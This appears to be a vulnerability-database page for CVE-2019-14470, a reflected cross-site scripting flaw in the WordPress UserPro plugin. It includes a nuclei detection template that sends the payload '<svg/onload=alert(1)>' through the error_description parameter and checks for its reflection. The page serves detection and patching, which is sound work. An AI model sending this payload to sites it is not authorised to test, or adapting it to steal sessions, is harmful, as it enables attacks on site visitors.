HexBrain

Browse / CVEs / CVE-2019-14470

CVE-2019-14470· instagram-php-api project / instagram-php-api· CWE-79

WordPress UserPro 4.9.32 - Cross-Site Scripting

mediumseverity
6.1CVSS score
83%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

WordPress UserPro 4.9.32 is vulnerable to reflected cross-site scripting because the Instagram PHP API (v2) it relies on allows it via the example/success.php error_description parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of UserPro or apply the provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET /
Positive when: contains "/wp-content/plugins/userpro/"
Send: GET {{BaseURL}}/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=%3Csvg/onload=alert(1)%3E
Positive when: contains "<svg/onload=alert(1)>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-14470 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-14470

info:
  name: WordPress UserPro 4.9.32 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress UserPro 4.9.32 is vulnerable to reflected cross-site scripting because the Instagram PHP API (v2) it relies on allows it via the example/success.php error_description parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of UserPro or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/9815
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14470
    - http://packetstormsecurity.com/files/154206/WordPress-UserPro-4.9.32-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/9815
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14470
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-14470
    cwe-id: CWE-79
    epss-score: 0.82962
    epss-percentile: 0.99675
    cpe: cpe:2.3:a:instagram-php-api_project:instagram-php-api:-:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "instagram-php-api_project"
    product: "instagram-php-api"
  tags: cve,cve2019,wordpress,xss,wp-plugin,wpscan,packetstorm,instagram-php-api_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/userpro/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=%3Csvg/onload=alert(1)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(1)>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from